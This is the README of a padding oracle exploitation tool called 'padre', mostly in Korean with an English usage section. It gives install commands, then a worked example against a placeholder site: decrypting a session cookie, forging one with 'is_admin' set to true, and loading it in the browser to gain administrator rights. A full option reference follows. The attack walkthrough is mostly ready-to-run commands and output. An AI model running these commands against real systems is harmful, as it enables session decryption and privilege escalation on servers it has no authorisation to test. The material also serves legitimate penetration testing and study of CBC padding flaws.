
매우 빠르고 진보된 Padding Oracle exploit
padre는 CBC 모드 암호화에 대한 패딩 오라클 공격을 위한 고급 익스플로이터입니다.
기능:

가장 빠른 방법은 최신 릴리즈에서 OS에 맞는 미리 컴파일된 바이너리를 다운로드하는 것입니다.
또는 Go가 설치되어 있다면 소스에서 빌드:
go install github.com/glebarez/padre@latest
암호화된 데이터가 SESS라는 쿠키에 저장된 것으로 의심되는 패딩 오라클을 발견한 경우, 다음을 사용할 수 있습니다:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
padre는 HTTP 응답을 자동으로 핑거프린팅하여 패딩 오라클이 확인될 수 있는지 판단합니다. 서버가 실제로 취약하다면, 제공된 토큰은 다음과 같이 복호화됩니다:
{"user_id": 456, "is_admin": false}
여기서 권한을 상승시킬 수 있을 것 같습니다!
이를 시도하려면 먼저 오라클이 다시 복호화할 교활한 평문을 생성할 수 있습니다:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
그러면 또 다른 인코딩된 암호화 데이터 세트가 출력됩니다. (base64를 사용하는 경우) 다음과 같을 수 있습니다:
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
이제 브라우저를 열고 SESS 쿠키 값을 위의 값으로 설정하세요. 원래 오라클 페이지를 로드하면 관리자 수준으로 승격된 것을 볼 수 있습니다.
Usage: padre [OPTIONS] [INPUT]
INPUT:
In decrypt mode: encrypted data
In encrypt mode: the plaintext to be encrypted
If not passed, will read from STDIN
NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)
OPTIONS:
-u *required*
target URL, use $ character to define token placeholder (if present in URL)
-enc
Encrypt mode
-err
Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting
-e
Encoding to apply to binary data. Supported values:
b64 (standard base64) *default*
lhex (lowercase hex)
-r
Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
Example:
If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"
-cookie
Cookie value to be set in HTTP requests. Use $ character to mark token placeholder.
-post
String data to perform POST requests. Use $ character to mark token placeholder.
-ct
Content-Type for POST requests. If not specified, Content-Type will be determined automatically.
-b
Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
8
16 *default*
32
-p
Number of parallel HTTP connections established to target server [1-256]
30 *default*
-proxy
HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP